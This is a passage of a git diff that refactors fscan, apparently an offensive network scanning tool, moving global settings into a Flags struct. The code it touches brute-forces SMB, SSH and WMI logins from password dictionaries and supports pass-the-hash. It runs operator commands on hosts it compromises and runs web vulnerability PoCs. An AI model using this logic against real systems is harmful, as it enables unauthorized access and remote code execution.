SmblConn(info, user, pass, signal) + flag, err = SmblConn(info, flags, user, pass, signal) }() select { case <-signal: return flag, err - case <-time.After(time.Duration(common.Timeout) * time.Second): + case <-time.After(time.Duration(flags.Timeout) * time.Second): return false, errors.New("time out") } } diff --git a/Plugins/smb2.go b/Plugins/smb2.go index 2adeaec..c3c6747 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -2,39 +2,40 @@ package Plugins import ( "fmt" - "github.com/shadow1ng/fscan/common" "net" "os" "strings" "time" + "github.com/shadow1ng/fscan/common" + "github.com/hirochachacha/go-smb2" ) -func SmbScan2(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return nil } hasprint := false starttime := time.Now().Unix() - hash := common.HashBytes + hash := flags.HashBytes for _, user := range common.Userdict["smb"] { PASS: for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) + flag, err, flag2 := Smb2Con(info, flags, user, pass, hash, hasprint) if flag2 { hasprint = true } if flag { var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + if flags.Domain != "" { + result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user) } else { result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user) } if len(hash) > 0 { - result += "hash: " + common.Hash + result += "hash: " + flags.Hash } else { result += pass } @@ -42,8 +43,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) { return err } else { var errlog string - if len(common.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) + if len(flags.Hash) > 0 { + errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, flags.Hash, err) } else { errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) } @@ -53,11 +54,11 @@ func SmbScan2(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) { return err } } - if len(common.Hash) > 0 { + if len(flags.Hash) > 0 { break PASS } } @@ -65,8 +66,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) { return tmperr } -func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { - conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second) +func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { + conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(flags.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -77,7 +78,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr } initiator := smb2.NTLMInitiator{ User: user, - Domain: common.Domain, + Domain: flags.Domain, } if len(hash) > 0 { initiator.Hash = hash @@ -99,13 +100,13 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr } if !hasprint { var result string - if common.Domain != "" { - result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + if flags.Domain != "" { + result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user) } else { result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user) } if len(hash) > 0 { - result += "hash: " + common.Hash + result += "hash: " + flags.Hash } else { result += pass } diff --git a/Plugins/ssh.go b/Plugins/ssh.go index e136952..e3ac75d 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -12,15 +12,15 @@ import ( "golang.org/x/crypto/ssh" ) -func SshScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return } starttime := time.Now().Unix() for _, user := range common.Userdict["ssh"] { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := SshConn(info, user, pass) + flag, err := SshConn(info, flags, user, pass) if flag && err == nil { return err } else { @@ -30,11 +30,11 @@ func SshScan(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * flags.Timeout) { return err } } - if common.SshKey != "" { + if flags.SshKey != "" { return err } } @@ -42,12 +42,12 @@ func SshScan(info *common.HostInfo) (tmperr error) { return tmperr } -func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass var Auth []ssh.AuthMethod - if common.SshKey != "" { - pemBytes, err := os.ReadFile(common.SshKey) + if flags.SshKey != "" { + pemBytes, err := os.ReadFile(flags.SshKey) if err != nil { return false, errors.New("read key failed" + err.Error()) } @@ -63,7 +63,7 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er config := &ssh.ClientConfig{ User: Username, Auth: Auth, - Timeout: time.Duration(common.Timeout) * time.Second, + Timeout: time.Duration(flags.Timeout) * time.Second, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, @@ -77,16 +77,16 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er defer session.Close() flag = true var result string - if common.Command != "" { - combo, _ := session.CombinedOutput(common.Command) + if flags.Command != "" { + combo, _ := session.CombinedOutput(flags.Command) result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) - if common.SshKey != "" { + if flags.SshKey != "" { result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo)) } common.LogSuccess(result) } else { result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password) - if common.SshKey != "" { + if flags.SshKey != "" { result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port) } common.LogSuccess(result) diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index fe9b8f5..460e5c7 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -18,23 +18,23 @@ import ( "golang.org/x/text/encoding/simplifiedchinese" ) -func WebTitle(info *common.HostInfo) error { - if common.Scantype == "webpoc" { - WebScan.WebScan(info) +func WebTitle(info common.HostInfo, flags common.Flags) error { + if flags.Scantype == "webpoc" { + WebScan.WebScan(info, flags) return nil } - err, CheckData := GOWebTitle(info) + err, CheckData := GOWebTitle(info, flags) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) - if common.IsWebCan && err == nil { - WebScan.WebScan(info) + if flags.IsWebCan && err == nil { + WebScan.WebScan(info, flags) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) common.LogError(errlog) } return err } -func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { +func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData []WebScan.CheckDatas) { if info.Url == "" { switch info.Ports { case "80": @@ -43,18 +43,18 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData info.Url = fmt.Sprintf("https://%s", info.Host) default: host := fmt.Sprintf("%s:%s", info.Host, info.Ports) - protocol := GetProtocol(host, common.Timeout) + protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout) info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) } } else { if !strings.Contains(info.Url, "://") { host := strings.Split(info.Url, "/")[0] - protocol := GetProtocol(host, common.Timeout) + protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout) info.Url = fmt.Sprintf("%s://%s", protocol, info.Url) } } - err, result, CheckData := geturl(info, 1, CheckData) + err, result, CheckData := geturl(info, flags, 1, CheckData) if err != nil && !strings.Contains(err.Error(), "EOF") { return } @@ -62,7 +62,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData // there is a jump if strings.Contains(result, "://") { info.Url = result - err, result, CheckData = geturl(info, 3, CheckData) + err, result, CheckData = geturl(info, flags, 3, CheckData) if err != nil { return } @@ -70,11 +70,11 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData if result == "https" && !strings.HasPrefix(info.Url, "https://") { info.Url = strings.Replace(info.Url, "http://", "https://", 1) - err, result, CheckData = geturl(info, 1, CheckData) + err, result, CheckData = geturl(info, flags, 1, CheckData) // there is a jump if strings.Contains(result, "://") { info.Url = result - err, _, CheckData = geturl(info, 3, CheckData) + err, _, CheckData = geturl(info, flags, 3, CheckData) if err != nil { return } @@ -87,7 +87,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData return } -func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { +func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { //flag 1 first try //flag 2 /favicon.ico //flag 3 302 @@ -210,7 +210,7 @@ func gettitle(body []byte) (title string) { return } -func GetProtocol(host string, Timeout int64) (protocol string) { +func GetProtocol(host string, proxy common.Socks5, Timeout int64) (protocol string) { if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { return "http" } @@ -219,7 +219,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) { return "https" } - socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) + socksconn, err := common.WrapperTcpWithTimeout("tcp", host, proxy, time.Duration(Timeout)*time.Second) if err != nil { return } diff --git a/Plugins/wmiexec.go b/Plugins/wmiexec.go index e7141e5..f60f230 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/wmiexec.go @@ -27,8 +27,8 @@ func init() { flag = true } -func WmiExec(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) { + if flags.IsBrute { return nil } starttime := time.Now().Unix() @@ -36,19 +36,19 @@ func WmiExec(info *common.HostInfo) (tmperr error) { PASS: for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := Wmiexec(info, user, pass, common.Hash) + flag, err := Wmiexec(info, flags, user, pass) errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) common.LogError(errlog) if flag { var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + if flags.Domain != "" { + result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user) } else { result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user) } - if common.Hash != "" { - result += "hash: " + common.Hash + if flags.Hash != "" { + result += "hash: " + flags.Hash } else { result += pass } @@ -59,11 +59,11 @@ func WmiExec(info *common.HostInfo) (tmperr error) { if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) { return err } } - if len(common.Hash) == 32 { + if len(flags.Hash) == 32 { break PASS } } @@ -71,10 +71,10 @@ func WmiExec(info *common.HostInfo) (tmperr error) { return tmperr } -func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { +func Wmiexec(info *common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) - wmiexec.Timeout = int(common.Timeout) - return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) + wmiexec.Timeout = int(flags.Timeout) + return WMIExec(target, user, pass, flags.Hash, flags.Domain, flags.Command, ClientHost, "", nil) } func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 99bacd6..0a9452f 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,13 +3,14 @@ package WebScan import ( "embed" "fmt" - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "net/http" "os" "path/filepath" "strings" "sync" + + "github.com/shadow1ng/fscan/WebScan/lib" + "github.com/shadow1ng/fscan/common" ) //go:embed pocs @@ -17,23 +18,23 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc -func WebScan(info *common.HostInfo) { - once.Do(initpoc) - var pocinfo = common.Pocinfo +func WebScan(info common.HostInfo, flags common.Flags) { + once.Do(func() { initpoc(flags.PocPath) }) + var pocinfo = flags.Pocinfo buf := strings.Split(info.Url, "/") pocinfo.Target = strings.Join(buf[:3], "/") if pocinfo.PocName != "" { - Execute(pocinfo) + Execute(pocinfo, flags) } else { for _, infostr := range info.Infostr { pocinfo.PocName = lib.CheckInfoPoc(infostr) - Execute(pocinfo) + Execute(pocinfo, flags) } } } -func Execute(PocInfo common.PocInfo) { +func Execute(PocInfo common.PocInfo, flags common.Flags) { req, err := http.NewRequest("GET", PocInfo.Target, nil) if err != nil { errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) @@ -48,11 +49,11 @@ func Execute(PocInfo common.PocInfo) { } req.Header.Set("Connection", "close") pocs := filterPoc(PocInfo.PocName) - lib.CheckMultiPoc(req, pocs, common.PocNum) + lib.CheckMultiPoc(req, pocs, flags) } -func initpoc() { - if common.PocPath == "" { +func initpoc(pocPath string) { + if pocPath == "" { entries, err := Pocs.ReadDir("pocs") if err != nil { fmt.Printf("[-] init poc error: %v", err) @@ -67,7 +68,7 @@ func initpoc() { } } } else { - err := filepath.Walk(common.PocPath, + err := filepath.Walk(pocPath, func(path string, info os.FileInfo, err error) error { if err != nil || info == nil { return err diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index 5ac0175..1b72eca 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -3,9 +3,6 @@ package lib import ( "crypto/md5" "fmt" - "github.com/google/cel-go/cel" - "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" "math/rand" "net/http" "net/url" @@ -13,6 +10,10 @@ import ( "strings" "sync" "time" + + "github.com/google/cel-go/cel" + "github.com/shadow1ng/fscan/WebScan/info" + "github.com/shadow1ng/fscan/common" ) var ( @@ -25,13 +26,13 @@ type Task struct { Poc *Poc } -func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { +func CheckMultiPoc(req *http.Request, pocs []*Poc, flags common.Flags) { tasks := make(chan Task) var wg sync.WaitGroup - for i := 0; i < workers; i++ { + for i := 0; i < flags.PocNum; i++ { go func() { for task := range tasks { - isVul, _, name := executePoc(task.Req, task.Poc) + isVul, _, name := executePoc(task.Req, task.Poc, flags) if isVul { result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name) common.LogSuccess(result) @@ -52,7 +53,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { close(tasks) } -func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { +func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, string) { c := NewEnvOption() c.UpdateCompileOptions(p.Set) if len(p.Sets) > 0 { @@ -82,7 +83,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { for _, item := range p.Set { k, expression := item.Key, item.Value if expression == "newReverse()" { - if !common.DnsLog { + if !flags.DnsLog { return false, nil, "" } variableMap[k] = newReverse() @@ -96,7 +97,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { success := false //爆破模式,比如tomcat弱口令 if len(p.Sets) > 0 { - success, err = clusterpoc(oReq, p, variableMap, req, env) + success, err = clusterpoc(oReq, p, flags.PocFull, variableMap, req, env) return success, nil, "" } @@ -257,7 +258,7 @@ func newReverse() *Reverse { } } -func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { +func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { var strMap StrMap var tmpnum int for i, rule := range p.Rules { @@ -276,8 +277,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, ruleHash := make(map[string]struct{}) look: for j, item := range setsMap { - //shiro默认只跑10key - if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 { + //shiro only runs by default 10key + if p.Name == "poc-yaml-shiro-key" && !pocFull && j >= 10 { if item[1] == "cbc" { continue } else { diff --git a/WebScan/lib/client.go b/WebScan/lib/client.go index c7f82b9..985ce98 100644 --- a/WebScan/lib/client.go +++ b/WebScan/lib/client.go @@ -6,9 +6,6 @@ import ( "embed" "errors" "fmt" - "github.com/shadow1ng/fscan/common" - "golang.org/x/net/proxy" - "gopkg.in/yaml.v2" "io/ioutil" "log" "net" @@ -16,6 +13,10 @@ import ( "net/url" "strings" "time" + + "github.com/shadow1ng/fscan/common" + "golang.org/x/net/proxy" + "gopkg.in/yaml.v2" ) var ( @@ -25,15 +26,15 @@ var ( keepAlive = 5 * time.Second ) -func Inithttp(PocInfo common.PocInfo) { +func Inithttp(flags common.Flags) { //PocInfo.Proxy = "http://127.0.0.1:8080" - err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second) + err := InitHttpClient(flags.PocNum, flags.Proxy, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.WebTimeout)*time.Second) if err != nil { log.Fatal(err) } } -func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { +func InitHttpClient(ThreadsNum int, DownProxy string, socks5Proxy common.Socks5, Timeout time.Duration) error { type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) dialer := &net.Dialer{ Timeout: dialTimout, @@ -51,8 +52,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err DisableKeepAlives: false, } - if common.Socks5Proxy != "" { - dialSocksProxy, err := common.Socks5Dailer(dialer) + if socks5Proxy.Address != "" { + dialSocksProxy, err := common.Socks5Dailer(dialer, socks5Proxy) if err != nil { return err } diff --git a/common/Parse.go b/common/Parse.go index 886601c..32ef9c5 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -11,24 +11,28 @@ import ( "strings" ) -func Parse(Info *HostInfo) { - ParseUser() - ParsePass(Info) - ParseInput(Info) - ParseScantype(Info) +func Parse(inputConfig *InConfig) { + ParseUser(&inputConfig.Flags) + ParsePass(&inputConfig.HostInfo, &inputConfig.Flags) + ParseInput(&inputConfig.HostInfo, &inputConfig.Flags) + ParseScantype(&inputConfig.HostInfo, &inputConfig.Flags) + + Outputfile = inputConfig.LogConfig.Outputfile + IsSave = !inputConfig.LogConfig.TmpSave + Cookie = inputConfig.Cookie } -func ParseUser() { - if Username == "" && Userfile == "" { +func ParseUser(flags *Flags) { + if flags.Username == "" && flags.Userfile == "" { return } var Usernames []string - if Username != "" { - Usernames = strings.Split(Username, ",") + if flags.Username != "" { + Usernames = strings.Split(flags.Username, ",") } - if Userfile != "" { - users, err := Readfile(Userfile) + if flags.Userfile != "" { + users, err := Readfile(flags.Userfile) if err == nil { for _, user := range users { if user != "" { @@ -44,10 +48,10 @@ func ParseUser() { } } -func ParsePass(Info *HostInfo) { +func ParsePass(Info *HostInfo, flags *Flags) { var PwdList []string - if Password != "" { - passs := strings.Split(Password, ",") + if flags.Password != "" { + passs := strings.Split(flags.Password, ",") for _, pass := range passs { if pass != "" { PwdList = append(PwdList, pass) @@ -55,8 +59,8 @@ func ParsePass(Info *HostInfo) { } Passwords = PwdList } - if Passfile != "" { - passs, err := Readfile(Passfile) + if flags.Passfile != "" { + passs, err := Readfile(flags.Passfile) if err == nil { for _, pass := range passs { if pass != "" { @@ -66,34 +70,35 @@ func ParsePass(Info *HostInfo) { Passwords = PwdList } } - if URL != "" { - urls := strings.Split(URL, ",") + + if flags.URL != "" { + urls := strings.Split(flags.URL, ",") TmpUrls := make(map[string]struct{}) for _, url := range urls { if _, ok := TmpUrls[url]; !ok { TmpUrls[url] = struct{}{} if url != "" { - Urls = append(Urls, url) + flags.Urls = append(flags.Urls, url) } } } } - if UrlFile != "" { - urls, err := Readfile(UrlFile) + if flags.UrlFile != "" { + urls, err := Readfile(flags.UrlFile) if err == nil { TmpUrls := make(map[string]struct{}) for _, url := range urls { if _, ok := TmpUrls[url]; !ok { TmpUrls[url] = struct{}{} if url != "" { - Urls = append(Urls, url) + flags.Urls = append(flags.Urls, url) } } } } } - if PortFile != "" { - ports, err := Readfile(PortFile) + if flags.PortFile != "" { + ports, err := Readfile(flags.PortFile) if err == nil { newport := "" for _, port := range ports { @@ -125,88 +130,84 @@ func Readfile(filename string) ([]string, error) { return content, nil } -func ParseInput(Info *HostInfo) { - if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { +func ParseInput(Info *HostInfo, flags *Flags) { + if Info.Host == "" && flags.HostFile == "" && flags.URL == "" && flags.UrlFile == "" { fmt.Println("Host is none") flag.Usage() os.Exit(0) } - if BruteThread <= 0 { - BruteThread = 1 - } - - if TmpSave == true { - IsSave = false + if flags.BruteThread <= 0 { + flags.BruteThread = 1 } if Info.Ports == DefaultPorts { Info.Ports += "," + Webport } - if PortAdd != "" { + if flags.PortAdd != "" { if strings.HasSuffix(Info.Ports, ",") { - Info.Ports += PortAdd + Info.Ports += flags.PortAdd } else { - Info.Ports += "," + PortAdd + Info.Ports += "," + flags.PortAdd } } - if UserAdd != "" { - user := strings.Split(UserAdd, ",") + if flags.UserAdd != "" { + user := strings.Split(flags.UserAdd, ",") for a := range Userdict { Userdict[a] = append(Userdict[a], user...) Userdict[a] = RemoveDuplicate(Userdict[a]) } } - if PassAdd != "" { - pass := strings.Split(PassAdd, ",") + if flags.PassAdd != "" { + pass := strings.Split(flags.PassAdd, ",") Passwords = append(Passwords, pass...) Passwords = RemoveDuplicate(Passwords) } - if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { - if !strings.Contains(Socks5Proxy, ":") { - Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy + if flags.Socks5Proxy != "" && !strings.HasPrefix(flags.Socks5Proxy, "socks5://") { + if !strings.Contains(flags.Socks5Proxy, ":") { + flags.Socks5Proxy = "socks5://127.0.0.1" + flags.Socks5Proxy } else { - Socks5Proxy = "socks5://" + Socks5Proxy + flags.Socks5Proxy = "socks5://" + flags.Socks5Proxy } } - if Socks5Proxy != "" { - fmt.Println("Socks5Proxy:", Socks5Proxy) - _, err := url.Parse(Socks5Proxy) + if flags.Socks5Proxy != "" { + fmt.Println("Socks5Proxy:", flags.Socks5Proxy) + _, err := url.Parse(flags.Socks5Proxy) if err != nil { fmt.Println("Socks5Proxy parse error:", err) os.Exit(0) } - NoPing = true + flags.NoPing = true } - if Proxy != "" { - if Proxy == "1" { - Proxy = "http://127.0.0.1:8080" - } else if Proxy == "2" { - Proxy = "socks5://127.0.0.1:1080" - } else if !strings.Contains(Proxy, "://") { - Proxy = "http://127.0.0.1:" + Proxy + if flags.Proxy != "" { + if flags.Proxy == "1" { + flags.Proxy = "http://127.0.0.1:8080" + } else if flags.Proxy == "2" { + flags.Proxy = "socks5://127.0.0.1:1080" + } else if !strings.Contains(flags.Proxy, "://") { + flags.Proxy = "http://127.0.0.1:" + flags.Proxy } - fmt.Println("Proxy:", Proxy) - if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { + fmt.Println("Proxy:", flags.Proxy) + if !strings.HasPrefix(flags.Proxy, "socks") && !strings.HasPrefix(flags.Proxy, "http") { fmt.Println("no support this proxy") os.Exit(0) } - _, err := url.Parse(Proxy) + _, err := url.Parse(flags.Proxy) if err != nil { fmt.Println("Proxy parse error:", err) os.Exit(0) } } - if Hash != "" && len(Hash) != 32 { + if flags.Hash != "" && len(flags.Hash) != 32 { fmt.Println("[-] Hash is error,len(hash) must be 32") os.Exit(0) } else { var err error - HashBytes, err = hex.DecodeString(Hash) + flags.HashBytes, err = hex.DecodeString(flags.Hash) if err != nil { fmt.Println("[-] Hash is error,hex decode error") os.Exit(0) @@ -214,13 +215,13 @@ func ParseInput(Info *HostInfo) { } } -func ParseScantype(Info *HostInfo) { - _, ok := PORTList[Scantype] +func ParseScantype(Info *HostInfo, flags *Flags) { + _, ok := PORTList[flags.Scantype] if !ok { showmode() } - if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport { - switch Scantype { + if flags.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport { + switch flags.Scantype { case "wmiexec": Info.Ports = "135" case "wmiinfo": @@ -244,10 +245,10 @@ func ParseScantype(Info *HostInfo) { case "main": Info.Ports = DefaultPorts default: - port, _ := PORTList[Scantype] + port, _ := PORTList[flags.Scantype] Info.Ports = strconv.Itoa(port) } - fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports) + fmt.Println("-m ", flags.Scantype, " start scan the port:", Info.Ports) } } diff --git a/common/ParseIP.go b/common/ParseIP.go index acb1c8b..17ddbc2 100644 --- a/common/ParseIP.go +++ b/common/ParseIP.go @@ -23,11 +23,11 @@ var ParseIPErr = errors.New(" host parsing error\n" + "192.168.1.1-192.168.255.255\n" + "192.168.1.1-255") -func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { +func ParseIP(hostPort *[]string, host string, filename string, nohosts ...string) (hosts []string, err error) { hosts = ParseIPs(host) if filename != "" { var filehost []string - filehost, _ = Readipfile(filename) + filehost, _ = readipfile(hostPort, filename) hosts = append(hosts, filehost...) } @@ -55,7 +55,7 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e } } hosts = RemoveDuplicate(hosts) - if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" { + if len(hosts) == 0 && len(*hostPort) == 0 && host != "" && filename != "" { err = ParseIPErr } return @@ -115,7 +115,8 @@ func parseIP2(host string) (hosts []string) { } // 解析ip段: 192.168.111.1-255 -// 192.168.111.1-192.168.112.255 +// +// 192.168.111.1-192.168.112.255 func parseIP1(ip string) []string { IPRange := strings.Split(ip, "-") testIP := net.ParseIP(IPRange[0]) @@ -175,19 +176,22 @@ func IPRange(c *net.IPNet) string { } // 按行读ip -func Readipfile(filename string) ([]string, error) { +func readipfile(hostPort *[]string, filename string) ([]string, error) { file, err := os.Open(filename) if err != nil { fmt.Printf("Open %s error, %v", filename, err) os.Exit(0) } defer file.Close() - var content []string + scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) + + var content []string for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line != "" { + var hosts []string text := strings.Split(line, ":") if len(text) == 2 { port := strings.Split(text[1], " ")[0] @@ -195,14 +199,14 @@ func Readipfile(filename string) ([]string, error) { if err != nil || (num < 1 || num > 65535) { continue } - hosts := ParseIPs(text[0]) + hosts = ParseIPs(text[0]) for _, host := range hosts { - HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) + *hostPort = append(*hostPort, fmt.Sprintf("%s:%s", host, port)) } } else { - host := ParseIPs(line) - content = append(content, host...) + hosts = ParseIPs(line) } + content = append(content, hosts...) } } return content, nil diff --git a/common/config.go b/common/config.go index a35cac7..d60e9e0 100644 --- a/common/config.go +++ b/common/config.go @@ -41,16 +41,16 @@ var PORTList = map[string]int{ "main": 0, } -var Outputfile = "result.txt" var IsSave = true var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" type HostInfo struct { - Host string - Ports string - Url string - Infostr []string + Host string + Ports string + Url string + Infostr []string + HostPort []string // locks like dead varibale, I cannot file initialization of this variable } type PocInfo struct { @@ -59,12 +59,7 @@ type PocInfo struct { } var ( - UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 